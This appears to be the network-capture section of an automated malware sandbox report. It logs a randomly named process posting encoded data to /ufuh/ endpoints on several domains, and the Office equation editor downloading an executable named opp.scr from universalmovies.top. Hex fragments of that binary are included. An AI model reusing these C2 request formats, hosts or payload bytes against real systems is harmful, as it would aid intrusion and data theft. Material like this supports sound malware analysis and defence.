May 2, 2024 08:29:34.374315023 CEST	1289	IN	Data Raw: 0f 3a 3d af b3 4c 36 8c 50 ed 7b 5b 5f 5d 2a 88 d4 00 cc cd cd ce aa 64 3b f0 1c ee b8 f0 0c 76 ef d5 be fb b5 ef bb b5 6f dc 0e 7f 6f 65 27 3b 0b f6 35 e0 95 99 7e 63 e6 6e 63 06 5f 4d 07 58 9b 03 65 82 32 3b 14 36 a8 ed 54 ca 8c a3 5e 4d bc e1 Data Ascii: :=L6P{[_]*d;vooe';5~cnc_MXe2;6T^M~muu<&{(Yh$e+N1iL(~onrG@HV2GdzZ!XC/@7-34gnS'<dLr$`yPMu9]j
May 2, 2024 08:29:34.374469995 CEST	878	IN	Data Raw: 57 c9 d4 6a ae ee 56 80 a6 18 5f 41 4d 1e 97 80 fd 32 b9 71 cf 19 23 6e 57 d1 67 8d fb 8d 99 ed c6 cc 4e 63 e6 6e 63 66 77 65 26 4f e1 00 24 f7 df 73 fa 77 f1 44 eb 3b db f7 e0 3d 2b 45 50 8a 2f b2 65 8c 23 f1 42 ed e0 6d 7f 0a 5e 2a a5 9e d0 10 Data Ascii: WjV_AM2q#nWgNcncfwe&O$swD;=+EP/e#Bm^Fi50YpEPj@$PM%tn[A@:7(gT@yAU,gO\gxBeb_j-WBFS;Ef$@e "I]*=g
May 2, 2024 08:29:34.374577045 CEST	1289	IN	Data Raw: 65 34 64 0d 0a bc 5c 6d 6f e3 36 12 fe dc fe 0a 21 c1 a1 d1 1e 6d 48 94 2c cb 0e ee 70 68 8b c5 f5 c3 de 1d 6e d1 4f 87 c5 42 b6 e4 d8 a8 13 1b 7e d9 24 35 f2 df 6f 66 48 4a 14 45 bd 58 4a bb bb c9 da d4 cc 33 43 8a 9a 19 0e 87 2a c7 23 a2 e8 84 Data Ascii: e4d\mo6!mH,phnOB~$5ofHJEXJ3C#x6(fD\;phRFrH`.gW0Z.;V.3U" j(]h!9v~ \|Y$;L7].{{!Mpom{-0
May 2, 2024 08:29:34.374650955 CEST	1289	IN	Data Raw: d9 cf 1f 3f f2 1a aa bc de 0c e8 82 70 f2 53 1d da 09 13 28 82 ec 63 84 7f 0d b2 3c c8 ae 2c de f2 f5 9c ea 7f 4d c0 0d 6b f7 e4 2e 62 7e 38 85 c5 fb 94 f9 ae 03 0b 2a 68 bc f3 27 13 06 81 38 e7 a1 8b fb 09 10 ad d4 89 36 27 48 21 5b 9f 05 f5 f2 Data Ascii: ?pS(c<,Mk.b~8*h'86'H![0w{{1UeF5OG0&+'dUh,_%{SFM+Upx3Sh26i(99C}8?6 +9ou>xc`BjCfm u``
May 2, 2024 08:29:34.374814034 CEST	1090	IN	Data Raw: e4 f6 40 3e 8e e5 66 52 98 b7 82 8b 4d e9 92 5d b1 c2 f3 62 40 74 01 5e 0b bc dc 22 af 18 17 bd f8 ad 6a 66 f4 ab 15 7c ed 1e fe 61 43 64 93 f1 fe 23 65 93 f2 87 0f 58 c9 8d e6 83 e7 6a df 85 87 37 fd 25 ee e6 a9 cd b3 aa bb b7 c5 f4 ee fd 1f d7 Data Ascii: @>fRM]b@t^"jf\|aCd#eXj7%.: \\|^}i# {\|rVNXZBfT_B}ouNt{}^E61*/+K7p+A%P],^1[5xk=F'V9uv;
May 2, 2024 08:29:34.375437975 CEST	1289	IN	Data Raw: 38 66 63 0d 0a ec 5d eb 8b dc 54 14 ff bc 03 fd 1f 2e 57 64 15 9a 64 92 79 ed d6 9d 51 ab 2d 14 5b 2a 15 f5 83 4a c9 24 99 dd b4 99 49 4c 32 9d ae b2 20 5a 44 2d 08 82 a2 1f aa 28 28 2a 0a 8a 54 e8 07 f1 0f 72 c6 ff c1 73 ce bd 79 4e e6 b5 6c dd Data Ascii: 8fc]T.WddyQ-[J$IL2 ZD-((TrsyNlLr{WS@IOr"/3h<TLH>C_/B>OU@PLZ+*auBhg:n]Q}djv6_+dLaLz%M9%H1is4Kl;H
May 2, 2024 08:29:34.375592947 CEST	1018	IN	Data Raw: d3 e4 47 47 47 db c0 42 6f 4f 7a b1 23 9e a1 b3 04 7e 30 0e ba 1c 1f 15 c5 8a 4c 7f fc 74 fa e1 7d 36 fb fc fe 5f 0f 7e e5 73 ad 25 e3 f7 fa f5 4c 71 39 89 fa c0 3b 2b 4a 03 44 87 06 cb ad 9b 30 65 27 73 f6 91 8a d5 57 33 5a 2a e6 ba e2 8c c6 57 Data Ascii: GGGBoOz#~0Lt}6_~s%Lq9;+JD0e'sW3ZWGaB^~9h1sd{xA$T>.7>q}{tk2v5.4ow9{6k">ZDprh#\e2vyGmcVN/O'vjZ(R+mC#B{vFp
May 2, 2024 08:29:34.379626989 CEST	667	IN	Data Raw: 32 39 34 0d 0a 8c 5d bd 72 d3 40 10 ae e3 a7 58 44 21 39 c8 92 6d 60 06 c7 03 05 84 01 33 06 8a b8 8b 32 8c 1c 9f 13 19 23 27 ba 33 26 24 99 49 43 4f 41 41 c9 23 a4 a4 e1 85 20 bc 03 df ae 14 59 96 95 0c 8d e5 3b ed dd ed b7 7f b7 37 da 91 f2 c7 Data Ascii: 294]r@XD!9m`32#'3&$ICOAA# Y;7+h56c@}PDXF8nysdiC6MuTGCL_a2=!)c)0mhHaa(Sf1}#Qfy0^(outEoxP!
May 2, 2024 08:29:34.379844904 CEST	20	IN	Data Raw: 61 0d 0a 03 00 4d c4 a4 e3 5f a2 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aM_0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49197	183.111.183.31	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:36.365324974 CEST	473	OUT	GET /ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh4O9IVNf1Nsq6o0EG0WMSPhA6OEupR23w6ucrxxNSq0Kjb577lAvo9ttp2iO4V&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.jnkinteractive.co.kr User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:29:36.928196907 CEST	511	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Thu, 02 May 2024 06:29:36 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Vary: Accept-Encoding,Cookie Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 X-Redirect-By: WordPress Location: http://jnkinteractive.co.kr/ufuh/?pl=EbiRYmriZV7/HiPUOKeH2YEx7MyTQrgkk6gsaa5XxsDKCOU8Ma1/AS5omL8UMRh4O9IVNf1Nsq6o0EG0WMSPhA6OEupR23w6ucrxxNSq0Kjb577lAvo9ttp2iO4V&5h1t=6H6PKFvXjtI4u8k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49198	208.91.197.13	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:50.568864107 CEST	2440	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 2159 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.riveramayahousing.com Origin: http://www.riveramayahousing.com Referer: http://www.riveramayahousing.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4d 45 41 73 2f 39 4c 63 37 41 64 71 42 6b 46 6c 4d 6e 39 70 56 56 41 30 38 78 4f 44 4b 52 2f 72 2b 37 67 47 2f 75 65 31 37 6e 6b 44 46 41 48 75 4c 34 54 33 6b 44 4b 4f 34 75 6a 41 63 32 41 68 65 4f 37 78 42 49 4f 55 71 79 4c 72 79 34 34 41 32 33 61 6d 57 45 6f 45 59 45 68 46 7a 4d 53 66 6f 64 41 38 4e 42 46 4d 67 49 6e 43 48 52 63 41 37 4c 47 76 46 76 66 42 2f 68 58 4a 64 77 37 5a 31 5a 72 76 79 43 36 4e 62 65 4a 42 34 6b 32 71 67 53 38 6a 30 51 66 67 30 42 49 58 74 39 71 65 42 78 33 30 54 47 4c 31 66 48 6e 59 32 79 57 77 39 48 41 74 59 43 6c 44 6b 65 55 50 46 72 68 77 33 53 6f 30 6f 46 75 57 7a 6e 43 75 76 4f 6c 66 36 45 66 74 41 7a 33 35 64 4e 4e 2b 43 4a 58 73 36 46 7a 6c 64 41 33 34 73 52 32 50 6a 72 70 64 73 38 75 59 32 5a 6b 4b 57 62 41 46 64 5a 51 63 64 71 31 70 65 54 49 30 56 6a 6a 38 65 4a 6d 4a 35 56 4e 4e 70 43 35 34 45 66 42 4b 51 5a 2b 6e 43 72 42 4a 71 4d 74 64 6d 72 67 43 6a 38 49 68 76 43 42 76 6f 6d 59 4e 68 66 51 74 4b 31 39 49 34 43 53 49 6c 38 58 52 71 43 6d 77 43 72 48 [TRUNCATED] Data Ascii: pl=MEAs/9Lc7AdqBkFlMn9pVVA08xODKR/r+7gG/ue17nkDFAHuL4T3kDKO4ujAc2AheO7xBIOUqyLry44A23amWEoEYEhFzMSfodA8NBFMgInCHRcA7LGvFvfB/hXJdw7Z1ZrvyC6NbeJB4k2qgS8j0Qfg0BIXt9qeBx30TGL1fHnY2yWw9HAtYClDkeUPFrhw3So0oFuWznCuvOlf6EftAz35dNN+CJXs6FzldA34sR2Pjrpds8uY2ZkKWbAFdZQcdq1peTI0Vjj8eJmJ5VNNpC54EfBKQZ+nCrBJqMtdmrgCj8IhvCBvomYNhfQtK19I4CSIl8XRqCmwCrHzHo+s5T0jZPi+O2OKNAobw/kDtzi3mN//R3Jy2cwouDAe93WfRemlaAp3P6by+1EzBbKYwJyKUtR4bOKV1tc0X4yfo9DgaAYvFIZ4f364PePFyhHUe7ugE7ssBqM6TatOFwMZ3kgnzvHG+ZBnVpnulR+RSlQmFxQVtTxoZ54FtAkYhI7Un207k1MC+VIIpLV8ZbfAtmeyXRsK+5UOy/rTa/wYGwp5W+GWbbOcUDlc+wkkl/bpGlyMDtsBSlkSy1YtmbHgONAJVHEfcgcMsTXXiTtWNF98tMHRtDISEU6UbtRwpm0xPTtoTZ60bb7odInlab8fbAPlzXWUP+GWBLcVC10L0UIWPX5nfp+57eCVJU9MfgGFjI1AGQ9lTdazr9sbkmk2rrSgmTh2RBDcuoWUl+03PqhAC4yDbYgoocQJHvjAkqNnbnpDRdI1DgojRtMxQugcy5h/NtxNCcLCDslJLE8R6hMSXMdspqOZBLOx5g6O2RDJWRNUibTwh62stVLBYCcyua4co4hua1pOovR4cAZKFG8bCBb5/CSdOiCa0iArlm5dx23yUe8Lshqy+2TXh8zXgonRU4ewj/DIJ6hgQ1y5IRPFS2oOSorgXEwvRY7lDWwx8s6xNO+HTmyLZqyXl4jh2XgykwhOLqrPsPxoqF31n2j2QvNn5 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.22	49199	208.91.197.13	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:53.182307005 CEST	747	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 199 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.riveramayahousing.com Origin: http://www.riveramayahousing.com Referer: http://www.riveramayahousing.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4d 45 41 73 2f 39 4c 63 37 41 64 71 42 6c 46 6c 64 69 4a 70 55 31 41 30 76 42 4f 44 42 78 2f 74 2b 37 74 35 2f 71 47 6c 36 55 45 44 45 52 62 75 4c 72 37 33 6f 6a 4c 38 77 4f 69 48 52 57 42 31 65 4f 36 67 42 4a 79 55 71 7a 76 72 79 65 38 41 30 7a 75 6c 4a 45 6f 43 42 30 68 45 7a 4d 65 57 6f 64 64 68 4e 41 74 4d 67 4f 48 43 45 52 4d 41 2b 70 65 76 54 76 66 44 35 68 58 65 64 77 2f 49 31 5a 37 5a 79 44 57 4e 59 73 78 42 34 31 57 71 6e 46 67 6a 2b 77 66 74 73 78 4a 43 70 50 66 4e 4d 43 65 2b 57 56 72 30 66 6e 72 4d 31 6a 2b 4a 7a 6d 6b 46 50 48 68 44 6d 4f 46 69 42 76 6f 39 6c 77 3d 3d Data Ascii: pl=MEAs/9Lc7AdqBlFldiJpU1A0vBODBx/t+7t5/qGl6UEDERbuLr73ojL8wOiHRWB1eO6gBJyUqzvrye8A0zulJEoCB0hEzMeWoddhNAtMgOHCERMA+pevTvfD5hXedw/I1Z7ZyDWNYsxB41WqnFgj+wftsxJCpPfNMCe+WVr0fnrM1j+JzmkFPHhDmOFiBvo9lw==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.22	49200	208.91.197.13	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:55.788033962 CEST	2440	OUT	POST /ufuh/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Length: 3623 Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Host: www.riveramayahousing.com Origin: http://www.riveramayahousing.com Referer: http://www.riveramayahousing.com/ufuh/ User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 70 6c 3d 4d 45 41 73 2f 39 4c 63 37 41 64 71 42 47 64 6c 4e 78 68 70 46 46 41 33 7a 52 4f 44 4b 52 2f 70 2b 37 68 35 2f 75 65 31 37 6d 6f 44 46 43 6a 75 4c 49 54 33 6c 44 4c 38 6e 65 6a 41 63 32 41 75 65 4b 72 66 42 49 43 45 71 78 6a 72 79 39 45 41 32 32 61 6d 52 45 6f 45 51 6b 68 44 7a 4d 66 4d 6f 64 4e 6c 4e 41 5a 6d 67 4b 72 43 45 44 6b 41 38 5a 65 6f 50 2f 66 44 35 68 58 53 64 77 2f 67 31 5a 6a 2f 79 47 37 49 62 66 70 42 35 55 32 71 68 69 38 6b 70 67 66 68 6c 52 49 4e 74 39 32 6a 42 78 32 2f 54 47 75 51 66 48 62 59 30 67 79 77 39 41 63 79 47 69 6c 4d 72 2b 55 50 42 72 68 79 33 53 70 74 6f 46 75 57 7a 6e 2b 75 2b 4f 6c 66 36 42 6a 79 4f 54 33 35 47 4e 4e 4a 63 35 4c 53 36 46 33 62 64 44 2f 4f 73 47 4f 50 78 2f 52 64 37 38 75 59 33 70 6b 41 57 62 41 59 4b 4a 51 71 64 71 74 58 65 58 70 70 56 6a 6a 38 65 4d 79 4a 2b 48 6c 4e 71 53 35 34 49 2f 42 4a 4b 70 2b 6f 43 72 31 37 71 50 78 64 6d 71 34 43 6c 62 4d 68 70 41 35 73 38 47 59 49 77 76 51 76 4f 31 39 64 34 43 4f 69 6c 38 66 72 71 44 32 77 43 6f 76 [TRUNCATED] Data Ascii: pl=MEAs/9Lc7AdqBGdlNxhpFFA3zRODKR/p+7h5/ue17moDFCjuLIT3lDL8nejAc2AueKrfBICEqxjry9EA22amREoEQkhDzMfModNlNAZmgKrCEDkA8ZeoP/fD5hXSdw/g1Zj/yG7IbfpB5U2qhi8kpgfhlRINt92jBx2/TGuQfHbY0gyw9AcyGilMr+UPBrhy3SptoFuWzn+u+Olf6BjyOT35GNNJc5LS6F3bdD/OsGOPx/Rd78uY3pkAWbAYKJQqdqtXeXppVjj8eMyJ+HlNqS54I/BJKp+oCr17qPxdmq4ClbMhpA5s8GYIwvQvO19d4COil8frqD2wCovzEKWs4j0kUvi6EWCONAg5w/Q5txW3ndT/GFRxqcwiljAq53W1ReyfaBJ3IJLyxVkzDaKfkpyNQtQ4QuLW1p0sX5iPoI/gYwYvCuN3XH6hIeOcoRHCe7vZE508Cf46TadOFmwZ3kgolPHA15FBVuvqlRjMSnYmFiYVtSxoCp4Fggkfro6jn2hAk01/+lMIqt58bYnAvGewRRsL65UTy/bTa+UyGwB5TvGWKOucMzlY9wlkl/blGl2QDt96SnQSy2AtgaHgUdAITHEbKQcFsTOKiSgNNEF8tvfRv28SE06WEdRw8205PTleTYWkbfvod8rlc78QPQPm/3WTYOG+BLsVC0IL0VQWPm5nbam55uCXWE9GUA61jIFEGR5TTeezqoQbjg4ppbSujThoDxCJuoWQl/cnOaBADtGDUc0p1sQOOPiIrKNtbn5pRcMlWDcjRtcxQc4czJh/NtxMCcLGDsoyLG076hMSXZpsp8iZPrP52A6ryRD+WRAHifHah6asvA3BYCcxhK4flYhta0V5ovRacAFKF1wbCXP5/h6dZyCaziAouG5Ax23cUcYbsjOysWzXg+bUo4ncS4ecsfHXJ7c/Q0W5IA/FTjcOS4rgdEwsf47wcGtu8tWbNKiXTzCLYbiXn7bmv3gxpQhILqnksOlwqE+Cn1j2evNn7 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.22	49201	208.91.197.13	80	2848	C:\Program Files (x86)\pOpZAxuInwNywgBapnAWdZXbrTDlLElAsOFsyrXJueIMOOrWoPVgtmphhzHkGklYLVasaggHvswqLTp\eDTvjJMLUGCaWhgZ.exe

Timestamp	Bytes transferred	Direction	Data
May 2, 2024 08:29:58.393846989 CEST	474	OUT	GET /ufuh/?pl=BGoM8L/qyzApLAJaWwxXSF4Q93O5MlPc94ZXocaCy2sUMxOmUp3yiivF6ezDdXcwaqjwM/LWkQHX7JcCzmOdeG0afWN38JyHw8R/BztNg4nUSBFA8ZqxTffzx161&5h1t=6H6PKFvXjtI4u8k HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Connection: close Host: www.riveramayahousing.com User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
May 2, 2024 08:29:58.718971968 CEST	538	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 06:29:57 GMT Server: Apache Set-Cookie: vsid=928vr46217699796753390; expires=Tue, 01-May-2029 06:29:57 GMT; Max-Age=157680000; path=/; domain=www.riveramayahousing.com; HttpOnly X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAKX74ixpzVyXbJprcLfbH4psP4+L2entqri0lzh6pkAaXLPIcclv6DQBeJJjGFWrBIF6QMyFwXT5CCRyjS2penECAwEAAQ==_BUVgkU9SpCnHQ8oULqnTgicRnkkNtgpShIapMsQeWrY282jo0jLgfAIGTYA6YB3wLI68m1kQIaVlKspL7KBAlg== Content-Length: 3246 Content-Type: text/html; charset=UTF-8 Connection: close
May 2, 2024 08:29:58.719037056 CEST	645	IN	Data Raw: 3c 21 2d 2d 0d 0a 09 74 6f 70 2e 6c 6f 63 61 74 69 6f 6e 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 72 69 76 65 72 61 6d 61 79 61 68 6f 75 73 69 6e 67 2e 63 6f 6d 2f 3f 66 70 3d 75 65 43 46 44 68 61 65 63 64 76 59 56 78 38 68 62 4b 68 30 36 31 34 49 Data Ascii: ...top.location="http://www.riveramayahousing.com/?fp=ueCFDhaecdvYVx8hbKh0614IfmGTEHuPdqyahOjyxp6XOetDiexINCTsAPUMAD2K5PJhvyiF97Uyk%2FtYol%2F9zVR8uouxLzIrQwOFwrupWRXB%2BaC%2BfpKrnEtvHWvoKhF33RK4ZbJcCpVOhC6NB9sgsvHvypyCZar4ahtRXkYYRhV%2FeE%
May 2, 2024 08:29:58.719116926 CEST	1220	IN	Data Raw: 4d 69 77 56 6b 25 32 42 45 78 74 56 6b 43 6c 33 6b 66 70 26 63 69 66 72 3d 31 26 70 6c 3d 42 47 6f 4d 38 4c 25 32 46 71 79 7a 41 70 4c 41 4a 61 57 77 78 58 53 46 34 51 39 33 4f 35 4d 6c 50 63 39 34 5a 58 6f 63 61 43 79 32 73 55 4d 78 4f 6d 55 70 Data Ascii: MiwVk%2BExtVkCl3kfp&cifr=1&pl=BGoM8L%2FqyzApLAJaWwxXSF4Q93O5MlPc94ZXocaCy2sUMxOmUp3yiivF6ezDdXcwaqjwM%2FLWkQHX7JcCzmOdeG0afWN38JyHw8R%2FBztNg4nUSBFA8ZqxTffzx161&5h1t=6H6PKFvXjtI4u8k";/*--><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADS
May 2, 2024 08:29:58.719260931 CEST	1220	IN	Data Raw: 25 32 46 71 37 66 39 76 45 62 6b 52 35 6c 46 4b 50 49 33 52 54 50 73 4f 38 72 6e 37 7a 75 6d 57 67 48 6b 63 53 44 67 6d 32 25 32 42 37 57 76 73 7a 46 73 51 4d 6f 57 7a 43 73 7a 62 36 4b 7a 6e 6a 66 73 6b 47 36 25 32 46 6f 59 56 45 52 74 53 64 32 Data Ascii: %2Fq7f9vEbkR5lFKPI3RTPsO8rn7zumWgHkcSDgm2%2B7WvszFsQMoWzCszb6KznjfskG6%2FoYVERtSd2plNZv3lMQNzl3zNXKwadcLcxwgGoFfYfJDcixEYw7R6RS%2Fj8pJQFuik%2FJtlnVml2xuZziPUZZB2QoYgWm5Us0BqWj8IBFfReEaI8dCpOgdYE04NRDR0diAAoehR5M%2BvKu7VLJOjQMPGyOB%2FyaMiwVk%2B
May 2, 2024 08:29:58.719274044 CEST	161	IN	Data Raw: 44 64 58 63 77 61 71 6a 77 4d 25 32 46 4c 57 6b 51 48 58 37 4a 63 43 7a 6d 4f 64 65 47 30 61 66 57 4e 33 38 4a 79 48 77 38 52 25 32 46 42 7a 74 4e 67 34 6e 55 53 42 46 41 38 5a 71 78 54 66 66 7a 78 31 36 31 26 35 68 31 74 3d 36 48 36 50 4b 46 76 Data Ascii: DdXcwaqjwM%2FLWkQHX7JcCzmOdeG0afWN38JyHw8R%2FBztNg4nUSBFA8ZqxTffzx161&5h1t=6H6PKFvXjtI4u8k">Click here to proceed</a>.</body></noframes></html>...*/-->

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.22	49163	104.21.74.191	443	1808	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	Bytes transferred	Direction	Data
2024-05-02 06:26:08 UTC	313	OUT	GET /opp.scr HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: universalmovies.top Connection: Keep-Alive
2024-05-02 06:26:08 UTC	775	IN	HTTP/1.1 200 OK Date: Thu, 02 May 2024 06:26:08 GMT Content-Type: application/x-silverlight Content-Length: 636928 Connection: close Last-Modified: Thu, 02 May 2024 01:44:58 GMT ETag: "9b800-6176ec02e1567" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wIecbPPYO9RapwSjTb5jsmCFDJVN2%2FMRjyYMJxT%2FX%2FJMvdu4GdEyuna2Q5cM%2B%2FxqX9OzXV5SNXeMME5kPpHKcEi5KCEOYJVgnDY1g45EIdiVB2kTO0s5G7K9%2BBRtEw33DrWZ2Elf"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=0; includeSubDomains; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 87d5f023cde61871-EWR alt-svc: h3=":443"; ma=86400
2024-05-02 06:26:08 UTC	594	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 2f a3 00 ca 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 ac 09 00 00 0a 00 00 00 00 00 00 0e cb 09 00 00 20 00 00 00 e0 09 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL/0 @ @
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: ff 6f 00 80 00 00 02 80 00 00 00 00 00 00 05 80 00 00 04 00 00 00 06 00 00 00 05 00 00 00 01 80 00 00 08 00 00 00 09 00 00 00 14 00 00 00 15 00 00 00 26 02 28 39 00 00 0a 00 00 2a 22 00 02 80 02 00 00 04 2a 4a 00 7e 06 00 00 04 74 65 00 00 01 28 3e 00 00 0a 26 2a 1e 02 7b 04 00 00 04 2a 22 02 03 7d 04 00 00 04 2a 1e 02 7b 05 00 00 04 2a 22 02 03 7d 05 00 00 04 2a 1e 02 7b 07 00 00 04 2a 22 02 03 7d 07 00 00 04 2a 1e 02 7b 08 00 00 04 2a 22 02 03 7d 08 00 00 04 2a 1e 02 7b 09 00 00 04 2a 22 02 03 7d 09 00 00 04 2a 1e 02 7b 0a 00 00 04 2a 22 02 03 7d 0a 00 00 04 2a 1e 02 7b 0b 00 00 04 2a 22 02 03 7d 0b 00 00 04 2a 22 02 28 39 00 00 0a 00 2a b2 28 05 00 00 06 80 03 00 00 04 28 3f 00 00 0a 7e 03 00 00 04 28 1b 00 00 06 6f 40 00 00 0a 6f 41 00 00 0a 1f 23 9a Data Ascii: o&(9"J~te(>&{"}{"}{"}{"}{"}{"}{"}"(9((?~(o@oA#
2024-05-02 06:26:08 UTC	1369	IN	Data Raw: 02 72 b7 04 00 70 28 54 01 00 06 2a 66 03 75 8d 00 00 01 2d 0f 03 75 8e 00 00 01 2d 07 03 28 63 01 00 06 2a 16 2a 66 02 03 28 81 01 00 06 02 6f 91 02 00 06 03 6f 91 02 00 06 28 58 01 00 06 2a 2e 02 2d 07 03 73 bc 00 00 0a 7a 2a 42 02 2d 0c 03 28 f2 03 00 06 73 ad 00 00 0a 7a 2a 2e 02 2d 07 03 73 bd 00 00 0a 7a 2a 52 02 2d 10 72 09 08 00 70 28 f2 03 00 06 73 be 00 00 0a 7a 2a 66 02 6f 8f 00 00 0a 2c 10 72 35 08 00 70 28 f2 03 00 06 73 be 00 00 0a 7a 2a 92 02 75 8e 00 00 01 2d 1a 02 75 92 00 00 01 2d 12 02 75 8d 00 00 01 2d 0a 02 75 93 00 00 01 14 fe 03 2a 17 2a 42 02 72 79 08 00 70 1b 6f ab 00 00 0a 15 fe 02 2a 76 02 2d 0b 72 93 08 00 70 73 bc 00 00 0a 7a 03 2d 0b 72 9b 08 00 70 73 bc 00 00 0a 7a 2a 62 02 2c 08 02 20 b4 05 00 00 33 06 73 c8 00 00 0a 7a 02 Data Ascii: rp(Tfu-u-(cf(oo(X.-szB-(sz.-szR-rp(szfo,r5p(szu-u-u-uBrypov-rpsz-rpsz*b, 3sz
